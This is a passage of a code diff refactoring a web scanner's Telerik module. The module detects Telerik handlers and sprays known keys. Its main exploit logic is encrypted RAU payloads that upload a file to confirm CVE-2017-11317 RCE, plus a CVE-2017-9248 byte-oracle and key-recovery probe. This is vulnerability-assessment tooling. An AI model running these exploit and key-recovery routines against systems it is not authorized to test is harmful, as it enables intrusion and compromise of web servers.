Path(custom_secrets).expanduser() + if not path.is_file(): + return False, f"custom_secrets file [{custom_secrets}] not found" + self.info(f"Loaded custom Telerik key list from [{custom_secrets}]") + custom_secrets = str(path) + self._enc = Telerik_EncryptionKey(custom_resource=custom_secrets) + self._hash = Telerik_HashKey(custom_resource=custom_secrets) + return True + @staticmethod - def normalize_url(url): + def _normalize_url(url): return str(url.rstrip("/") + "/").lower() def _incoming_dedup_hash(self, event): if event.type == "URL": if self.config.get("include_subdirs") is True: - return hash(f"{event.type}{self.normalize_url(event.url)}") - else: - return hash(f"{event.type}{event.netloc}") - else: # HTTP_RESPONSE - return hash(f"{event.type}{event.url}") + return hash(f"{event.type}{self._normalize_url(event.url)}") + return hash(f"{event.type}{event.netloc}") + return hash(f"{event.type}{event.url}") + + async def filter_event(self, event): + if event.type == "URL" and "endpoint" in event.tags: + return False + return True async def handle_event(self, event): if event.type == "URL": - if self.config.get("include_subdirs"): - base_url = self.normalize_url(event.url) # Use the entire URL including subdirectories - - else: - base_url = f"{event.parsed_url.scheme}://{event.parsed_url.netloc}/" # path will be omitted - - # Check for RAU AXD Handler - webresource = "Telerik.Web.UI.WebResource.axd?type=rau" - result, _ = await self.test_detector(base_url, webresource) - if result: - if "RadAsyncUpload handler is registered succesfully" in result.text: - self.verbose("Detected Telerik instance (Telerik.Web.UI.WebResource.axd?type=rau)") - - probe_data = { - "rauPostData": ( - None, - "mQheol55IDiQWWSxl+Atkc68JXWUJ6QSirwLhEwleMiw3vN4cwABE74V2fWsLGg8CFXHOP6np90M+sLrLDqFACGNvonxmgT8aBsTZPWbXErewMGNWBP34aX0DmMvXVyTEpQ6FkFhZi19cTtdYfRLI8Uc04uNSsdWnltDMQ2CX/sSLOXUFNnZdAwAXgUuprYhU28Zwh/GdgYh447ksXfAC2fuPqEJqKDDwBlltxsS/zSq8ipIg326ymB2dmOpH/P3hcAmTKOyzB0dW6a6pmJvqNVU+50DlrUC00RbBbTJwlV6Xm4s4XTvgXLvMQ6czz2OAYY18HI+HYX5uvajctj/25UR8edwu68ZCgedsD7EZHRSSthjxohxfAyrfshjcu1LnhCEd0ClowKxBS4eiaLxVxhJAdB7XcbbXxIS9WWKa7gtRMNc/jUAOlIpvOZ3N+bOQ6rsNMHv7TZk1g0bxPl99yBn9qvtAwDMNPDoADxoBSisAkIIl9mImKv7y7nAiKoj7ukApdu5XQuVo10SxwkLkqHcvEEgjxTrOlCbEbxK2/du9TgXxD9iqKyaPLHPzNZsnzCsG6qNXv0fNkeASP9tZAyvi/y1eLrpScE+J7blfT+kBkGPTTFc6Z4z6lN7GqSHofq/CDHC2S2+qdoRdC3C25V74j+Ae6MkpSfqYx4KZYNtxBAxjf9Uf3JVSiZh3X2W/7aFeimFft0h/liybSjJTzO+AwNJluI4kXqemFoHnjVFfUQViaIuk4UP0D861kCU6KIGLZLpOaa0g0KM8hmu3OjwVOy8QVXYtbx5lOmSX9h3imRzMDFRTXK25YpUJgD0/LFMgCeZLA8SCYzkThyN2d8f8n5l8iOScR47o8i8sqCp/fd3JTogSbwD7LxnHudpiw2W/OfpMGipgc6loQFoX4klQaYwKkA4w+GUzahfAJmIiukZuTLOPCPQvX4wKtLqw1YiHtuaLHvLYq2/F66QQXNrZ4SucUNED0p5TUVTvHGUbuA0zxAyYSfYVgTNZjXGguQBY7DsN1SkpCa/ltvIiGtCbHQR86OrvjJMACe0wdpMCqEg7JiGym3RrLqvmjpS&sbZRwxJ96gmXFBSbSvT0ve7jpvDoieqd6RbG+GIP0H7sO5/0ZnvheosB9jQAifuMabY7lW4UzZgr5o2iqE0tBl4SGhfWyYW7iCFXnd3aIuCnUvhT58Rp8g7kGkA/eU/s68E66KOBXNuBnokZR9cIsjE0Tt3Jfxrk018+CmVcXpjXp/RmhRwCJTgEAXQuNplb/KdkLxqDn519iRtbiU6aLZX8YctdFQBqyKVgkk8WYXxcXQ8wYnxtpEtGuBcsndUi1iPp4Od8rYY1HPWg+FIquW17YPHjfP4gO4dhZe4sd7gH0ARyGDjiYVj7ODDE0wGmwmFVdQTrDX5AaxKuJy0NbQ==", - ), - "file": ("blob", b"e1daf48a", "application/octet-stream"), - "fileName": (None, "df8dbc7a"), - "contentType": (None, "text/html"), - "lastModifiedDate": (None, "2020-01-02T08:02:01.067Z"), - "metadata": ( - None, - '{"TotalChunks":1,"ChunkIndex":0,"TotalFileSize":1,"UploadID":"3ea7b19db6c5.txt"}', - ), - } - - version = "unknown" - verbose_errors = False - # send probe - probe_response = await self.helpers.request( - f"{event.url}{webresource}", method="POST", files=probe_data - ) - - if probe_response: - if "Exception Details: " in probe_response.text: - verbose_errors = True - if ( - "Telerik.Web.UI.CryptoExceptionThrower.ThrowGenericCryptoException" - in probe_response.text - ): - version = "Post-2020 (Encrypt-Then-Mac Enabled, with Generic Crypto Failure Message)" - elif "Padding is invalid and cannot be removed" in probe_response.text: - version = "<= 2019 (Either Pre-2017 (vulnerable), or 2017-2019 w/ Encrypt-Then-Mac)" - - description = f"Telerik RAU AXD Handler detected. Verbose Errors Enabled: [{str(verbose_errors)}] Version Guess: [{version}]" - await self.emit_event( - { - "host": str(event.host), - "url": f"{base_url}{webresource}", - "description": description, - "name": "Telerik Handler", - "severity": "INFO", - "confidence": "HIGH", - }, - "FINDING", - event, - context=f"{{module}} scanned {base_url} and identified {{event.type}}: Telerik RAU AXD Handler", - ) - if self.config.get("exploit_RAU_crypto") is True: - if base_url not in self.RAUConfirmed: - self.RAUConfirmed.append(base_url) - root_tool_path = self.scan.helpers.tools_dir / "telerik" - - for version in self.telerikVersions: - command = [ - executable, - str(root_tool_path / "RAU_crypto-master/RAU_crypto.py"), - "-P", - "C:\\\\Windows\\\\Temp", - version, - str(root_tool_path / "testfile.txt"), - result.url, - ] - - # Add proxy if set in the scan config - if self.scan.http_proxy: - command.append(self.scan.http_proxy) - - output = await self.run_process(command) - description = f"Confirmed Vulnerable Telerik (version: {str(version)})" - if "fileInfo" in output.stdout: - self.debug(f"Confirmed Vulnerable Telerik (version: {str(version)}") - await self.emit_event( - { - "severity": "CRITICAL", - "confidence": "CONFIRMED", - "description": description, - "host": str(event.host), - "url": f"{base_url}{webresource}", - "name": "Telerik RCE", - }, - "FINDING", - event, - context=f"{{module}} scanned {base_url} and identified critical {{event.type}}: {description}", - ) - break - - urls = {} - for dh in self.DialogHandlerUrls: - url = self.create_url(base_url, f"{dh}?dp=1") - urls[url] = dh - - fail_count = 0 - async for url, response in self.helpers.request_batch_stream(list(urls)): - # cancel if we run into timeouts etc. - if response is None: - fail_count += 1 - - # tolerate some random errors - if fail_count < 2: - continue - self.debug(f"Cancelling run against {base_url} due to failed request") - break - else: - if "Cannot deserialize dialog parameters" in response.text: - self.debug(f"Detected Telerik UI instance ({dh})") - description = "Telerik DialogHandler detected" - await self.emit_event( - { - "host": str(event.host), - "url": f"{base_url}{dh}", - "description": description, - "name": "Telerik Handler", - "confidence": "CONFIRMED", - "severity": "INFO", - }, - "FINDING", - event, - ) - # Once we have a match we need to stop, because the basic handler (Telerik.Web.UI.DialogHandler.aspx) usually works with a path wildcard - break - - spellcheckhandler = "Telerik.Web.UI.SpellCheckHandler.axd" - result, _ = await self.test_detector(base_url, spellcheckhandler) - status_code = getattr(result, "status_code", 0) - # The standard behavior for the spellcheck handler without parameters is a 500 - if status_code == 500: - # Sometimes webapps will just return 500 for everything, so rule out the false positive - validate_result, _ = await self.test_detector(base_url, f"{self.helpers.rand_string()}.axd") - self.debug(validate_result) - validate_status_code = getattr(validate_result, "status_code", 0) - if validate_status_code not in (0, 500): - self.debug("Detected Telerik UI instance (Telerik.Web.UI.SpellCheckHandler.axd)") - description = "Telerik SpellCheckHandler detected" - await self.emit_event( - { - "host": str(event.host), - "url": f"{base_url}{spellcheckhandler}", - "description": description, - "name": "Telerik Handler", - "confidence": "CONFIRMED", - "severity": "INFO", - }, - "FINDING", - event, - context=f"{{module}} scanned {base_url} and identified {{event.type}}: Telerik SpellCheckHandler", - ) - - chartimagehandler = "ChartImage.axd?ImageName=bqYXJAqm315eEd6b%2bY4%2bGqZpe7a1kY0e89gfXli%2bjFw%3d" - result, _ = await self.test_detector(base_url, chartimagehandler) - status_code = getattr(result, "status_code", 0) - if status_code == 200: - chartimagehandler_error = "ChartImage.axd?ImageName=" - result_error, _ = await self.test_detector(base_url, chartimagehandler_error) - error_status_code = getattr(result_error, "status_code", 0) - if error_status_code not in (0, 200): - await self.emit_event( - { - "host": str(event.host), - "url": f"{base_url}{chartimagehandler}", - "description": "Telerik ChartImage AXD Handler Detected", - "name": "Telerik Handler", - "confidence": "CONFIRMED", - "severity": "INFO", - }, - "FINDING", - event, - context=f"{{module}} scanned {base_url} and identified {{event.type}}: Telerik ChartImage AXD Handler", - ) - + base_url = self._base_url(event) + await self._probe_rau(base_url, event) + dh_url = await self._probe_dialoghandler(base_url, event) + if dh_url: + # RAU + DH run on the same Telerik.Web.UI install, so a version confirmed + # via the RAU upload path (rau_confirm_version=True) also applies to DH. + rau_version = self._rau_version_by_base.get(base_url) + await self._probe_dialoghandler_exploit(dh_url, event, rau_version) + await self._probe_spellcheck(base_url, event) + await self._probe_chartimage(base_url, event) elif event.type == "HTTP_RESPONSE": - resp_body = event.body - url = event.url - if resp_body: - if '":{"SerializedParameters":"' in resp_body: - await self.emit_event( - { - "host": str(event.host), - "url": url, - "description": "Telerik DialogHandler [SerializedParameters] Detected in HTTP Response", - "name": "Telerik Handler", - "confidence": "CONFIRMED", - "severity": "INFO", - }, - "FINDING", - event, - context="{module} searched HTTP_RESPONSE and identified {event.type}: Telerik ChartImage AXD Handler", - ) - elif '"_serializedConfiguration":"' in resp_body: - await self.emit_event( - { - "host": str(event.host), - "url": url, - "description": "Telerik AsyncUpload [serializedConfiguration] Detected in HTTP Response", - "name": "Telerik AsyncUpload", - "confidence": "CONFIRMED", - "severity": "INFO", - }, - "FINDING", - event, - context="{module} searched HTTP_RESPONSE and identified {event.type}: Telerik AsyncUpload", - ) - - def create_url(self, baseurl, detector): - return f"{baseurl}{detector}" - - async def test_detector(self, baseurl, detector): - result = None - url = self.create_url(baseurl, detector) + await self._carve_http_response(event) + + async def _probe_dialoghandler_exploit(self, dh_url, event, rau_version=None): + """ + Known-key spray first (definitive: recovers the actual keys). If nothing matches, + fall back to the dp_cryptomg baseline probe (chosen-plaintext byte-oracle test). + Oracle only runs on PBKDF1_MS targets; the CVE-2017-9248 patch moved to PBKDF2 + specifically to defeat this attack, so probing PBKDF2 is wasted requests. + + `rau_version`, when set, was confirmed by the RAU upload path on the same host — + both handlers back onto the same Telerik.Web.UI install, so the version applies. + """ + kdf_mode = None + if self.config.get("try_known_keys"): + self.verbose(f"Fingerprinting DialogHandler KDF mode at {dh_url}") + kdf_mode = await self._detect_kdf_mode(dh_url) + self.verbose(f"DialogHandler KDF mode: [{kdf_mode}]") + # Post-patch targets validate input length before touching crypto, so the short + # AAAA probe can't reveal KDF. The real known-key probes are long enough to pass + # that gate, so try both modes and let the actual oracle strings tell us. + candidate_kdfs = (kdf_mode,) if kdf_mode in ("PBKDF1_MS", "PBKDF2") else ("PBKDF1_MS", "PBKDF2") + for candidate in candidate_kdfs: + self.verbose(f"Spraying known keys against DialogHandler ({candidate})") + if await self._probe_dialoghandler_knownkey(dh_url, event, candidate, rau_version=rau_version): + return + self.verbose(f"Known-key spray exhausted for {candidate}, no match") + if self.config.get("probe_dialoghandler_oracle"): + if kdf_mode is None: + self.verbose(f"Fingerprinting DialogHandler KDF mode at {dh_url}") + kdf_mode = await self._detect_kdf_mode(dh_url) + self.verbose(f"DialogHandler KDF mode: [{kdf_mode}]") + # dp_cryptomg's byte oracle only works on PBKDF1_MS targets. When the classifier + # gave us None (target validates input length before crypto and never leaks a + # KDF-specific error), the target could still be oracle-vulnerable — try anyway. + if kdf_mode != "PBKDF2": + self.verbose("Running dp_cryptomg find_baseline byte-oracle probe (up to 81 requests)") + await self._probe_dialoghandler_oracle(dh_url, event, rau_version=rau_version) + + def _base_url(self, event): + if self.config.get("include_subdirs"): + return self._normalize_url(event.url) + return f"{event.parsed_url.scheme}://{event.parsed_url.netloc}/" + + # ----------------------------------------------------------------------- + # RAU (CVE-2017-11317) + # ----------------------------------------------------------------------- + + # (KDF mode, HMAC on/off) combinations to try in the safe default-keys probe. + # Covers pre-2017 (PBKDF1_MS + no HMAC), the PBKDF1_MS + HMAC window (2017.1.118 - 2018.1.117), + # and post-PBKDF2 (2018.2+). Any combo hitting the "Could not load file or assembly" signal + # proves the target accepts default keys without triggering a file upload. + _RAU_PROBE_VARIANTS = ( + ("PBKDF1_MS", False), + ("PBKDF1_MS", True), + ("PBKDF2", True), + ) + _RAU_FAKE_VERSION = "9999.9.999" + + async def _probe_rau(self, base_url, event): + webresource = "Telerik.Web.UI.WebResource.axd?type=rau" + url = f"{base_url}{webresource}" result = await self.helpers.request(url, timeout=self.scan.http_timeout) - return result, detector + if not result or "RadAsyncUpload handler is registered succesfully" not in result.text: + return + self.verbose(f"Detected Telerik RAU handler at {url}") + + await self.emit_event( + { + "host": str(event.host), + "url": url, + "description": "Telerik RAU handler detected", + "name": "Telerik RAU Handler", + "severity": "INFO", + "confidence": "HIGH", + }, + "FINDING", + event, + context=f"{{module}} scanned {base_url} and identified {{event.type}}: Telerik RAU Handler", + ) + + # Safe probe: fake-version payloads with each candidate key pair. Assembly load fails + # before any file write, so a hit proves keys+crypto work without persisting anything. + self.verbose(f"Probing RAU for known keys with fake version {self._RAU_FAKE_VERSION} (no upload)") + key_material = await self._probe_rau_known_keys(url) + if key_material is None: + self.verbose(f"RAU key spray exhausted, no known keys accepted at {url}") + return + + kdf_mode, include_hmac, hash_key, enc_key = key_material + self.verbose( + f"RAU accepted key pair (KDF={kdf_mode}, HMAC={include_hmac}) — hash=[{hash_key}] enc=[{enc_key}]" + ) + + if not self.config.get("rau_confirm_version"): + self.verbose("rau_confirm_version disabled; emitting HIGH finding without version identification") + await self._emit_rau_keys_accepted(url, event, key_material, version_attempted=False) + return + + self.verbose( + f"rau_confirm_version enabled; iterating {len(self.telerik_versions)} candidate versions " + "to identify installed one (this will upload a 1-byte file on match)" + ) + if not await self._confirm_rau_version(url, event, base_url, key_material): + # Version identification failed with these keys; fall back to the HIGH finding + # so the user still learns keys are accepted. + self.verbose( + "Version Detection Failed (target version not in candidate list); emitting HIGH keys-accepted finding" + ) + await self._emit_rau_keys_accepted(url, event, key_material, version_attempted=True) + + def _iter_rau_key_pairs(self): + """ + Yield (hash_key, enc_key) candidates for the RAU handler. The labeled RAU defaults + come first (most common), then the full badsecrets keylists if try_known_keys is on. + Duplicates are suppressed. + """ + yield (RAU_DEFAULT_HASH_KEY, RAU_DEFAULT_ENC_KEY) + if not self.config.get("try_known_keys"): + return + include_machinekeys = self.config.get("include_machinekeys", False) + seen = {(RAU_DEFAULT_HASH_KEY, RAU_DEFAULT_ENC_KEY)} + hash_keys = list(self._hash.prepare_keylist(include_machinekeys=include_machinekeys)) + enc_keys = list(self._enc.prepare_keylist(include_machinekeys=include_machinekeys)) + for hk in hash_keys: + for ek in enc_keys: + pair = (hk, ek) + if pair in seen: + continue + seen.add(pair) + yield pair + + async def _probe_rau_known_keys(self, url): + """ + For each (KDF, HMAC) variant × (hash_key, enc_key) pair, POST a fake-version payload. + `Could not load file or assembly` in the response means crypto worked and .NET rejected + the bogus version before touching the file write path. Returns the discovered + (kdf_mode, include_hmac, hash_key, enc_key) or None. Does not emit. + """ + for kdf_mode, include_hmac in self._RAU_PROBE_VARIANTS: + for hash_key, enc_key in self._iter_rau_key_pairs(): + payload = self._build_rau_multipart(self._RAU_FAKE_VERSION, enc_key, hash_key, kdf_mode, include_hmac) + response = await self.helpers.request(url, method="POST", files=payload) + if response and "Could not load file or assembly" in response.text: + self.debug( + f"RAU accepts key pair enc=[{enc_key}] hash=[{hash_key}] (KDF={kdf_mode}, HMAC={include_hmac})" + ) + return (kdf_mode, include_hmac, hash_key, enc_key) + return None + + async def _emit_rau_keys_accepted(self, url, event, key_material, version_attempted): + kdf_mode, include_hmac, hash_key, enc_key = key_material + is_default = (hash_key, enc_key) == (RAU_DEFAULT_HASH_KEY, RAU_DEFAULT_ENC_KEY) + key_label = "Default" if is_default else "Known" + version_note = ( + "Version detection was attempted but failed — target's installed Telerik version is not in the candidate list." + if version_attempted + else "Version detection was not executed." + ) + await self.emit_event( + { + "host": str(event.host), + "url": url, + "description": ( + f"Telerik RAU accepts a {key_label.lower()} key pair. " + f"Hash key: [{hash_key}] Encryption key: [{enc_key}] " + f"KDF: [{kdf_mode}] HMAC: [{include_hmac}]. {version_note}" + ), + "name": f"Telerik RAU {key_label} Keys Accepted (CVE-2017-11317)", + "severity": "HIGH", + "confidence": "HIGH", + }, + "FINDING", + event, + context=f"{{module}} confirmed RAU key acceptance at {url} without uploading", + ) + + async def _confirm_rau_version(self, url, event, base_url, key_material): + """ + Version identification + RCE confirmation. Iterate Telerik versions with the KEY + MATERIAL already proven by the safe probe; the first version producing `fileInfo` + also uploads the benign 1-byte probe file to the target's C:\\windows\\temp\\. + Returns True if a version was matched (and the CRITICAL finding emitted). + """ + kdf_mode, include_hmac, hash_key, enc_key = key_material + for version in self.telerik_versions: + payload = self._build_rau_multipart(version, enc_key, hash_key, kdf_mode, include_hmac) + response = await self.helpers.request(url, method="POST", files=payload) + if response and '"fileInfo":' in response.text: + self.verbose(f"RAU RCE confirmed on version {version}; benign file was uploaded to target") + self._rau_version_by_base[base_url] = version + await self.emit_event( + { + "host": str(event.host), + "url": url, + "description": ( + f"Confirmed Telerik RAU RCE. Version: [{version}] " + f"Hash key: [{hash_key}] Encryption key: [{enc_key}] " + f"KDF: [{kdf_mode}] HMAC: [{include_hmac}]" + ), + "name": "Telerik RAU RCE (CVE-2017-11317)", + "severity": "CRITICAL", + "confidence": "CONFIRMED", + }, + "FINDING", + event, + context=f"{{module}} confirmed {{event.type}}: Telerik RAU RCE at {base_url}", + ) + return True + return False + + def _rau_encrypt(self, plaintext, key, iv): + """AES-256-CBC with the null-byte-interleaved plaintext encoding Telerik RAU uses.""" + interleaved = "".join(c + "\x00" for c in plaintext) + pad_len = 16 - (len(interleaved) % 16) + padded = interleaved + (chr(pad_len) * pad_len) + cipher = AES.new(key, AES.MODE_CBC, iv) + return base64.b64encode(cipher.encrypt(padded.encode())).decode() + + def _rau_sign(self, ciphertext_b64, hash_key, include_hmac): + if not include_hmac: + return ciphertext_b64 + from Crypto.Hash import HMAC, SHA256 + + h = HMAC.new(key=hash_key.encode(), msg=ciphertext_b64.encode(), digestmod=SHA256.new()) + return f"{ciphertext_b64}{base64.b64encode(h.digest()).decode()}" + + def _build_rau_multipart(self, assembly_version, enc_key, hash_key, kdf_mode, include_hmac): + """Build the httpx `files=` dict for a RAU payload with explicit KDF + HMAC choices.""" + if kdf_mode == "PBKDF1_MS": + key, iv = self._enc.telerik_derivekeys_PBKDF1_MS(enc_key) + else: + key, iv = self._enc.telerik_derivekeys_PBKDF2(enc_key) + + enc_target_folder = self._rau_sign(self._rau_encrypt("", key, iv), hash_key, include_hmac) + enc_temp_folder = self._rau_sign(self._rau_encrypt("C:\\windows\\temp\\", key, iv), hash_key, include_hmac) + rau_post_data_json = ( + f'{{"TargetFolder":"{enc_target_folder}",' + f'"TempTargetFolder":"{enc_temp_folder}",' + '"MaxFileSize":0,' + '"TimeToLive":{"Ticks":1440000000000,"Days":0,"Hours":40,"Minutes":0,' + '"Seconds":0,"Milliseconds":0,"TotalDays":1.6666666666666666,' + '"TotalHours":40,"TotalMinutes":2400,"TotalSeconds":144000,"TotalMilliseconds":144000000},' + '"UseApplicationPoolImpersonation":false}' + ) + assembly_type = ( + f'Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version="{assembly_version}", ' + "Culture=neutral, PublicKeyToken=121fae78165ba3d4" + ) + rau_post_data = f"{self._rau_encrypt(rau_post_data_json, key, iv)}&{self._rau_encrypt(assembly_type, key, iv)}" + upload_id = self.helpers.rand_string(12).lower() + ".txt" + return { + "rauPostData": (None, rau_post_data), + "file": ("blob", b"\x00", "application/octet-stream"), + "fileName": (None, self.helpers.rand_string(8)), + "contentType": (None, "text/html"), + "lastModifiedDate": (None, "2020-01-02T08:02:01.067Z"), + "metadata": ( + None, + f'{{"TotalChunks":1,"ChunkIndex":0,"TotalFileSize":1,"UploadID":"{upload_id}"}}', + ), + } + + # ----------------------------------------------------------------------- + # DialogHandler (CVE-2017-9248) + # ----------------------------------------------------------------------- + + async def _probe_dialoghandler(self, base_url, event): + """ + Try the default path first (sequential) — DialogHandler is a global handler that + responds identically regardless of path, so on a real target the default path + almost always works and produces a less confusing finding URL. Only fan out to + the extended candidate list if the default doesn't match. + """ + if not self.dialoghandler_urls: + return None + + default_dh = self.dialoghandler_urls[0] + default_response = await self.helpers.request(f"{base_url}{default_dh}?dp=1", timeout=self.scan.http_timeout) + if default_response and "Cannot deserialize dialog parameters" in default_response.text: + return await self._emit_dialoghandler(base_url, default_dh, event) + + remaining = {f"{base_url}{dh}?dp=1": dh for dh in self.dialoghandler_urls[1:]} + if not remaining: + return None + + fail_count = 0 + async for url, response in self.helpers.request_batch_stream(list(remaining)): + if response is None: + fail_count += 1 + if fail_count < 2: + continue + self.debug(f"Cancelling DialogHandler probe against {base_url} after repeated failures") + return None + if "Cannot deserialize dialog parameters" not in response.text: + continue + return await self._emit_dialoghandler(base_url, remaining[url], event) + return None + + async def _emit_dialoghandler(self, base_url, dh, event): + dh_url = f"{base_url}{dh}" + self.verbose(f"Detected Telerik DialogHandler at {dh_url}") + await self.emit_event( + { + "host": str(event.host), + "url": dh_url, + "description": "Telerik DialogHandler detected", + "name": "Telerik DialogHandler", + "confidence": "CONFIRMED", + "severity": "INFO", + }, + "FINDING", + event, + context=f"{{module}} scanned {base_url} and identified {{event.type}}: Telerik DialogHandler", + ) + return dh_url + + async def _detect_kdf_mode(self, dh_url): + """Send an empty probe; response error tells us which KDF the target uses.""" + response = await self.helpers.request(dh_url, method="POST", data={"dialogParametersHolder": "AAAA"}) + if not response: + return None + return self._classify_kdf_response(response.text) - async def filter_event(self, event): - if event.type == "URL" and "endpoint" in event.tags: + @staticmethod + def _classify_kdf_response(text): + # "Invalid length for a Base-64" comes from an input-length gate that fires before + # any crypto happens — it tells us nothing about KDF or patch status. Only the + # crypto-layer error strings actually classify the derivation mode. + if ( + "Exception of type 'System.Exception' was thrown" in text + or "The cryptographic operation has failed!" in text + ): + return "PBKDF2" + if "Length cannot be less than zero" in text: + return "PBKDF1_MS" + return None + + async def _probe_dialoghandler_oracle(self, dh_url, event, rau_version=None): + """ + Port of dp_cryptomg's find_baseline(): send crafted GET ?dp= + payloads iterating combinations of [0x00, 0x6b, 0x08]. A response containing + `Index was outside the bounds of the array.` or `String was not recognized as a + valid Boolean.` proves the byte-oracle leaks decryption state and CVE-2017-9248 + byte-by-byte key recovery is feasible against this target. + """ + test_bytes = [b"\x00", b"\x6b", b"\x08"] + for combo in itertools.product(test_bytes, repeat=4): + payload = base64.b64encode(b"".join(combo)).decode() + response = await self.helpers.request(f"{dh_url}?dp={payload}", timeout=self.scan.http_timeout) + if not response: + continue + text = response.text + if ( + "Index was outside the bounds of the array." in text + or "String was not recognized as a valid Boolean." in text + ): + self.verbose(f"dp_cryptomg baseline probe leaked on 4-byte combo {combo!r}; oracle confirmed") + version_note = f" Version: [{rau_version}] (from RAU)" if rau_version else "" + await self.emit_event( + { + "host": str(event.host), + "url": dh_url, + "description": ( + "Telerik DialogHandler is exploitable via CVE-2017-9248 byte-oracle " + f"key recovery.{version_note}" + ), + "name": "Telerik DialogHandler Oracle (CVE-2017-9248)", + "severity": "CRITICAL", + "confidence": "CONFIRMED", + }, + "FINDING", + event, + context=f"{{module}} confirmed CVE-2017-9248 byte-oracle at {dh_url}", + ) + return True + return False + + async def _probe_dialoghandler_knownkey(self, dh_url, event, kdf_mode, rau_version=None): + """Returns True if a known key pair was recovered and a finding emitted.""" + include_machinekeys = self.config.get("include_machinekeys", False) + if kdf_mode == "PBKDF1_MS": + hash_key = await self._solve_dh_hashkey(dh_url, include_machinekeys) + if not hash_key: + return False + enc_key = await self._solve_dh_enckey(dh_url, hash_key, kdf_mode, include_machinekeys) + if not enc_key: + return False + elif kdf_mode == "PBKDF2": + match = await self._solve_dh_pbkdf2_combined(dh_url, include_machinekeys) + if not match: + return False + hash_key, enc_key = match + else: return False + + # We have the keys — reuse them to identify the installed Telerik version + # via response-size delta from a fake-version baseline. Safe (no uploads). + # Emit follows the same pattern as RAU: CRITICAL/CONFIRMED when version is nailed, + # HIGH/HIGH with an "attempted but failed" note when it isn't. + self.verbose(f"Identifying DialogHandler Telerik version (baseline + {len(self.telerik_versions)} probes)") + version = await self._detect_dh_version(dh_url, hash_key, enc_key, kdf_mode) + # If DH probing didn't identify a version but RAU already did on this host, use that — + # same install, same Telerik.Web.UI.dll. + version_source = None + if version: + version_source = "DH probe" + elif rau_version: + version = rau_version + version_source = "RAU" + + if version: + self.verbose(f"DH version identified: {version} (via {version_source})") + await self.emit_event( + { + "host": str(event.host), + "url": dh_url, + "description": ( + f"Telerik DialogHandler configured with a known hash/encryption key pair " + f"and identified version. Hash key: [{hash_key}] Encryption key: [{enc_key}] " + f"KDF: [{kdf_mode}] Version: [{version}] (source: {version_source})" + ), + "name": "Telerik DialogHandler Known Key (CVE-2017-9248)", + "severity": "CRITICAL", + "confidence": "CONFIRMED", + }, + "FINDING", + event, + context=f"{{module}} recovered a known Telerik key pair and version at {dh_url}", + ) else: - return True + self.verbose("DH version detection exhausted; emitting HIGH keys-accepted finding") + await self.emit_event( + { + "host": str(event.host), + "url": dh_url, + "description": ( + f"Telerik DialogHandler configured with a known hash/encryption key pair. " + f"Hash key: [{hash_key}] Encryption key: [{enc_key}] KDF: [{kdf_mode}]. " + "Version detection was attempted but failed — target's installed Telerik " + "version is not in the candidate list." + ), + "name": "Telerik DialogHandler Known Key (CVE-2017-9248)", + "severity": "HIGH", + "confidence": "HIGH", + }, + "FINDING", + event, + context=f"{{module}} recovered a known Telerik key pair (version unknown) at {dh_url}", + ) + return True + + async def _detect_dh_version(self, dh_url, hash_key, enc_key, kdf_mode): + """ + Once keys are known, iterate versions in the DialogTypeName plaintext to identify the + installed Telerik.Web.UI. Mirrors badsecrets DialogHandler.probe_version: fake-version + 9999.9.999 gives us a baseline response size; a real installed version produces a + response ~10+ bytes off baseline because the assembly loads and the dialog code + proceeds further. + """ + baseline_size = await self._dh_version_probe_size(dh_url, "9999.9.999", hash_key, enc_key, kdf_mode) + if baseline_size is None: + self.verbose("DH version baseline probe failed") + return None + for version in self.telerik_versions: + size = await self._dh_version_probe_size(dh_url, version, hash_key, enc_key, kdf_mode) + if size is None: + continue + if abs(size - baseline_size) > 10: + self.verbose(f"DH version identified: {version} (size delta {size - baseline_size})") + return version + return None + + async def _dh_version_probe_size(self, dh_url, version, hash_key, enc_key, kdf_mode): + """ + Build a DialogParameters payload with `version` in the DialogTypeName field and return + the target's response length (or None on network failure). Payload skeleton matches + badsecrets DialogHandler.probe_version's non-modern form. + """ + b64section_plain = ( + f"Telerik.Web.UI.Editor.DialogControls.DocumentManagerDialog, Telerik.Web.UI, " + f"Version={version}, Culture=neutral, PublicKeyToken=121fae78165ba3d4" + ) + b64section = base64.b64encode(b64section_plain.encode()).decode() + plaintext = ( + "EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmk4dUx3PT0sZmk4dUx3PT0=;" + "EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;" + "UploadPaths,True,0,Zmk4dUx3PT0sZmk4dUx3PT0=;SearchPatterns,True,0,S2k0cQ==;" + "EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;" + "LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;" + "ViewPaths,True,0,Zmk4dUx3PT0sZmk4dUx3PT0=;IsSkinTouch,False,3,False;" + "ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;" + f"Telerik.DialogDefinition.DialogTypeName,False,0,{b64section};" + "AllowMultipleSelection,False,3,False" + ) + derived_key, derived_iv = self._enc.telerik_derivekeys(enc_key, kdf_mode) + ct = self._enc.telerik_encrypt(derived_key, derived_iv, plaintext) + signed = self._hash.sign_enc_dialog_params(hash_key, ct) + response = await self.helpers.request(dh_url, method="POST", data={"dialogParametersHolder": signed}) + if not response: + return None + return len(response.text) + + async def _solve_dh_hashkey(self, dh_url, include_machinekeys): + """PBKDF1_MS mode: hashkey solves independently via 'input data is not a complete block' oracle.""" + for probe, hash_key in self._hash.hashkey_probe_generator(include_machinekeys=include_machinekeys): + response = await self.helpers.request(dh_url, method="POST", data={"dialogParametersHolder": probe}) + if not response: + continue + if "The input data is not a complete block" in response.text: + self.verbose(f"DialogHandler hash key matched: [{hash_key}]") + return hash_key + return None + + async def _solve_dh_enckey(self, dh_url, hash_key, kdf_mode, include_machinekeys): + """Once hashkey is known, enckey solves via 'Index was outside the bounds of the array' oracle.""" + for probe, enc_key in self._enc.encryptionkey_probe_generator( + hash_key, kdf_mode, include_machinekeys=include_machinekeys + ): + response = await self.helpers.request(dh_url, method="POST", data={"dialogParametersHolder": probe}) + if not response: + continue + if "Index was outside the bounds of the array" in response.text: + self.verbose(f"DialogHandler encryption key matched: [{enc_key}]") + return enc_key + return None + + async def _solve_dh_pbkdf2_combined(self, dh_url, include_machinekeys): + """ + PBKDF2 mode: no per-key oracle, only response-size delta from a dummy baseline. + We spray hash × enc combinations; the true pair produces a response ~10+ bytes off baseline. + """ + baseline_probe = self._build_pbkdf2_probe("dummy", "dummy") + baseline = await self.helpers.request(dh_url, method="POST", data={"dialogParametersHolder": baseline_probe}) + 